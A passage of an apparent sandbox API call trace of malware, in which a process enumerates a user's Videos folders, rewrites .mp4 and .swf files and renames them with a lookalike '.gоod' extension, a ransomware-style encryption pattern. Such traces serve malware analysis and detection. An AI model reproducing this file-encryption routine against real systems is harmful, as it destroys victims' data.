ftLastAccessTime.dwHighDateTime=0x1d4ca3c, ftLastWriteTime.dwLowDateTime=0xce82bcb0, ftLastWriteTime.dwHighDateTime=0x1d4ca3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0169.672] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ebd20 | out: lpFindFileData=0x1f9ebd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe1d4f940, ftCreationTime.dwHighDateTime=0x1d4d509, ftLastAccessTime.dwLowDateTime=0xce82bcb0, ftLastAccessTime.dwHighDateTime=0x1d4ca3c, ftLastWriteTime.dwLowDateTime=0xce82bcb0, ftLastWriteTime.dwHighDateTime=0x1d4ca3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.672] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ebd20 | out: lpFindFileData=0x1f9ebd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5987cf0, ftCreationTime.dwHighDateTime=0x1d4c78e, ftLastAccessTime.dwLowDateTime=0xed740e80, ftLastAccessTime.dwHighDateTime=0x1d4cbcc, ftLastWriteTime.dwLowDateTime=0xed740e80, ftLastWriteTime.dwHighDateTime=0x1d4cbcc, nFileSizeHigh=0x0, nFileSizeLow=0xff1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="bnDkhiNy3xIoafkcEr5s.mp4", cAlternateFileName="BNDKHI~1.MP4")) returned 1 [0169.672] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ebd20 | out: lpFindFileData=0x1f9ebd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76f3bb0, ftCreationTime.dwHighDateTime=0x1d4cf84, ftLastAccessTime.dwLowDateTime=0xd450ec50, ftLastAccessTime.dwHighDateTime=0x1d4d5bf, ftLastWriteTime.dwLowDateTime=0xd450ec50, ftLastWriteTime.dwHighDateTime=0x1d4d5bf, nFileSizeHigh=0x0, nFileSizeLow=0x75aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PL6REBur.swf", cAlternateFileName="")) returned 1 [0169.672] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ebd20 | out: lpFindFileData=0x1f9ebd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb41cd0, ftCreationTime.dwHighDateTime=0x1d4cd11, ftLastAccessTime.dwLowDateTime=0xf5329840, ftLastAccessTime.dwHighDateTime=0x1d4c8b0, ftLastWriteTime.dwLowDateTime=0xf5329840, ftLastWriteTime.dwHighDateTime=0x1d4c8b0, nFileSizeHigh=0x0, nFileSizeLow=0x6912, dwReserved0=0x0, dwReserved1=0x0, cFileName="vUb0iBA.mp4", cAlternateFileName="")) returned 1 [0169.672] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ebd20 | out: lpFindFileData=0x1f9ebd20*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0169.672] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0169.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebf80) returned 1 [0169.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebf40) returned 1 [0169.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec040) returned 1 [0169.672] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas", nBufferLength=0x105, lpBuffer=0x1f9ebae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas", lpFilePart=0x0) returned 0x4b [0169.672] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\*", lpFindFileData=0x1f9ebd60 | out: lpFindFileData=0x1f9ebd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe1d4f940, ftCreationTime.dwHighDateTime=0x1d4d509, ftLastAccessTime.dwLowDateTime=0xce82bcb0, ftLastAccessTime.dwHighDateTime=0x1d4ca3c, ftLastWriteTime.dwLowDateTime=0xce82bcb0, ftLastWriteTime.dwHighDateTime=0x1d4ca3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0169.673] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ebd20 | out: lpFindFileData=0x1f9ebd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe1d4f940, ftCreationTime.dwHighDateTime=0x1d4d509, ftLastAccessTime.dwLowDateTime=0xce82bcb0, ftLastAccessTime.dwHighDateTime=0x1d4ca3c, ftLastWriteTime.dwLowDateTime=0xce82bcb0, ftLastWriteTime.dwHighDateTime=0x1d4ca3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.673] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ebd20 | out: lpFindFileData=0x1f9ebd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5987cf0, ftCreationTime.dwHighDateTime=0x1d4c78e, ftLastAccessTime.dwLowDateTime=0xed740e80, ftLastAccessTime.dwHighDateTime=0x1d4cbcc, ftLastWriteTime.dwLowDateTime=0xed740e80, ftLastWriteTime.dwHighDateTime=0x1d4cbcc, nFileSizeHigh=0x0, nFileSizeLow=0xff1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="bnDkhiNy3xIoafkcEr5s.mp4", cAlternateFileName="BNDKHI~1.MP4")) returned 1 [0169.673] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ebd20 | out: lpFindFileData=0x1f9ebd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76f3bb0, ftCreationTime.dwHighDateTime=0x1d4cf84, ftLastAccessTime.dwLowDateTime=0xd450ec50, ftLastAccessTime.dwHighDateTime=0x1d4d5bf, ftLastWriteTime.dwLowDateTime=0xd450ec50, ftLastWriteTime.dwHighDateTime=0x1d4d5bf, nFileSizeHigh=0x0, nFileSizeLow=0x75aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PL6REBur.swf", cAlternateFileName="")) returned 1 [0169.673] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ebd20 | out: lpFindFileData=0x1f9ebd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb41cd0, ftCreationTime.dwHighDateTime=0x1d4cd11, ftLastAccessTime.dwLowDateTime=0xf5329840, ftLastAccessTime.dwHighDateTime=0x1d4c8b0, ftLastWriteTime.dwLowDateTime=0xf5329840, ftLastWriteTime.dwHighDateTime=0x1d4c8b0, nFileSizeHigh=0x0, nFileSizeLow=0x6912, dwReserved0=0x0, dwReserved1=0x0, cFileName="vUb0iBA.mp4", cAlternateFileName="")) returned 1 [0169.673] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ebd20 | out: lpFindFileData=0x1f9ebd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb41cd0, ftCreationTime.dwHighDateTime=0x1d4cd11, ftLastAccessTime.dwLowDateTime=0xf5329840, ftLastAccessTime.dwHighDateTime=0x1d4c8b0, ftLastWriteTime.dwLowDateTime=0xf5329840, ftLastWriteTime.dwHighDateTime=0x1d4c8b0, nFileSizeHigh=0x0, nFileSizeLow=0x6912, dwReserved0=0x0, dwReserved1=0x0, cFileName="vUb0iBA.mp4", cAlternateFileName="")) returned 0 [0169.673] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0169.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebf80) returned 1 [0169.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebf40) returned 1 [0169.674] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4", nBufferLength=0x105, lpBuffer=0x1f9eb920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4", lpFilePart=0x0) returned 0x64 [0169.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ebdf0) returned 1 [0169.674] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\bndkhiny3xioafkcer5s.mp4"), fInfoLevelId=0x0, lpFileInformation=0x35b69f8 | out: lpFileInformation=0x35b69f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5987cf0, ftCreationTime.dwHighDateTime=0x1d4c78e, ftLastAccessTime.dwLowDateTime=0xed740e80, ftLastAccessTime.dwHighDateTime=0x1d4cbcc, ftLastWriteTime.dwLowDateTime=0xed740e80, ftLastWriteTime.dwHighDateTime=0x1d4cbcc, nFileSizeHigh=0x0, nFileSizeLow=0xff1b)) returned 1 [0169.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebdb0) returned 1 [0169.674] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4", nBufferLength=0x105, lpBuffer=0x1f9eb7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4", lpFilePart=0x0) returned 0x64 [0169.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ebcf0) returned 1 [0169.674] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\bndkhiny3xioafkcer5s.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0169.674] GetFileType (hFile=0x61c) returned 0x1 [0169.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebc60) returned 1 [0169.674] GetFileType (hFile=0x61c) returned 0x1 [0169.674] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ebe48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ebe48*=0) returned 0x1000 [0169.675] ReadFile (in: hFile=0x61c, lpBuffer=0x35b6ec0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ebe18, lpOverlapped=0x0 | out: lpBuffer=0x35b6ec0*, lpNumberOfBytesRead=0x1f9ebe18*=0x1000, lpOverlapped=0x0) returned 1 [0169.675] CloseHandle (hObject=0x61c) returned 1 [0169.675] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4", nBufferLength=0x105, lpBuffer=0x1f9eb7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4", lpFilePart=0x0) returned 0x64 [0169.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ebcf0) returned 1 [0169.675] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\bndkhiny3xioafkcer5s.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0169.675] GetFileType (hFile=0x61c) returned 0x1 [0169.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebc60) returned 1 [0169.675] GetFileType (hFile=0x61c) returned 0x1 [0169.675] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ebe48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ebe48*=0) returned 0xff1b [0169.675] WriteFile (in: hFile=0x61c, lpBuffer=0x35b81b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ebd38, lpOverlapped=0x0 | out: lpBuffer=0x35b81b0*, lpNumberOfBytesWritten=0x1f9ebd38*=0x10, lpOverlapped=0x0) returned 1 [0169.675] CloseHandle (hObject=0x61c) returned 1 [0169.676] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4", nBufferLength=0x105, lpBuffer=0x1f9eb7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4", lpFilePart=0x0) returned 0x64 [0169.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ebcf0) returned 1 [0169.676] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\bndkhiny3xioafkcer5s.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0169.676] GetFileType (hFile=0x61c) returned 0x1 [0169.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebc60) returned 1 [0169.676] GetFileType (hFile=0x61c) returned 0x1 [0169.676] ReadFile (in: hFile=0x61c, lpBuffer=0x35ba4c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ebdc8, lpOverlapped=0x0 | out: lpBuffer=0x35ba4c8*, lpNumberOfBytesRead=0x1f9ebdc8*=0x1000, lpOverlapped=0x0) returned 1 [0171.355] CloseHandle (hObject=0x61c) returned 1 [0171.355] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4", nBufferLength=0x105, lpBuffer=0x1f9eb7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4", lpFilePart=0x0) returned 0x64 [0171.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ebcf0) returned 1 [0171.355] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\bndkhiny3xioafkcer5s.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0171.698] GetFileType (hFile=0x61c) returned 0x1 [0171.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebc60) returned 1 [0171.698] GetFileType (hFile=0x61c) returned 0x1 [0171.698] WriteFile (in: hFile=0x61c, lpBuffer=0x32f8ed8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ebe78, lpOverlapped=0x0 | out: lpBuffer=0x32f8ed8*, lpNumberOfBytesWritten=0x1f9ebe78*=0x1010, lpOverlapped=0x0) returned 1 [0171.698] CloseHandle (hObject=0x61c) returned 1 [0171.698] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4", nBufferLength=0x105, lpBuffer=0x1f9eb920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4", lpFilePart=0x0) returned 0x64 [0171.698] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4.gоod", nBufferLength=0x105, lpBuffer=0x1f9eb920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4.gоod", lpFilePart=0x0) returned 0x69 [0171.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ebdb0) returned 1 [0171.698] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\bndkhiny3xioafkcer5s.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1f9ebe90 | out: lpFileInformation=0x1f9ebe90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5987cf0, ftCreationTime.dwHighDateTime=0x1d4c78e, ftLastAccessTime.dwLowDateTime=0xed740e80, ftLastAccessTime.dwHighDateTime=0x1d4cbcc, ftLastWriteTime.dwLowDateTime=0x628e4df9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xff2b)) returned 1 [0171.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebd70) returned 1 [0171.698] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\bndkhiny3xioafkcer5s.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\bnDkhiNy3xIoafkcEr5s.mp4.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\bndkhiny3xioafkcer5s.mp4.gоod")) returned 1 [0171.699] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf", nBufferLength=0x105, lpBuffer=0x1f9eb920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf", lpFilePart=0x0) returned 0x58 [0171.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ebdf0) returned 1 [0171.699] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\pl6rebur.swf"), fInfoLevelId=0x0, lpFileInformation=0x3410f78 | out: lpFileInformation=0x3410f78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76f3bb0, ftCreationTime.dwHighDateTime=0x1d4cf84, ftLastAccessTime.dwLowDateTime=0xd450ec50, ftLastAccessTime.dwHighDateTime=0x1d4d5bf, ftLastWriteTime.dwLowDateTime=0xd450ec50, ftLastWriteTime.dwHighDateTime=0x1d4d5bf, nFileSizeHigh=0x0, nFileSizeLow=0x75aa)) returned 1 [0171.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebdb0) returned 1 [0171.699] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf", nBufferLength=0x105, lpBuffer=0x1f9eb7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf", lpFilePart=0x0) returned 0x58 [0171.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ebcf0) returned 1 [0171.699] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\pl6rebur.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0171.699] GetFileType (hFile=0x61c) returned 0x1 [0171.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebc60) returned 1 [0171.700] GetFileType (hFile=0x61c) returned 0x1 [0171.700] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ebe48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ebe48*=0) returned 0x1000 [0171.700] ReadFile (in: hFile=0x61c, lpBuffer=0x34113e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ebe18, lpOverlapped=0x0 | out: lpBuffer=0x34113e0*, lpNumberOfBytesRead=0x1f9ebe18*=0x1000, lpOverlapped=0x0) returned 1 [0171.700] CloseHandle (hObject=0x61c) returned 1 [0171.700] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf", nBufferLength=0x105, lpBuffer=0x1f9eb7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf", lpFilePart=0x0) returned 0x58 [0171.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ebcf0) returned 1 [0171.700] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\pl6rebur.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0171.700] GetFileType (hFile=0x61c) returned 0x1 [0171.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebc60) returned 1 [0171.700] GetFileType (hFile=0x61c) returned 0x1 [0171.700] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ebe48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ebe48*=0) returned 0x75aa [0171.700] WriteFile (in: hFile=0x61c, lpBuffer=0x34126a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ebd38, lpOverlapped=0x0 | out: lpBuffer=0x34126a0*, lpNumberOfBytesWritten=0x1f9ebd38*=0x10, lpOverlapped=0x0) returned 1 [0171.700] CloseHandle (hObject=0x61c) returned 1 [0171.701] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf", nBufferLength=0x105, lpBuffer=0x1f9eb7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf", lpFilePart=0x0) returned 0x58 [0171.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ebcf0) returned 1 [0171.701] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\pl6rebur.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0171.701] GetFileType (hFile=0x61c) returned 0x1 [0171.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebc60) returned 1 [0171.701] GetFileType (hFile=0x61c) returned 0x1 [0171.701] ReadFile (in: hFile=0x61c, lpBuffer=0x3414988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ebdc8, lpOverlapped=0x0 | out: lpBuffer=0x3414988*, lpNumberOfBytesRead=0x1f9ebdc8*=0x1000, lpOverlapped=0x0) returned 1 [0171.740] CloseHandle (hObject=0x61c) returned 1 [0171.740] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf", nBufferLength=0x105, lpBuffer=0x1f9eb7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf", lpFilePart=0x0) returned 0x58 [0171.740] SetThreadErrorMode (dwNewMode=0x1, 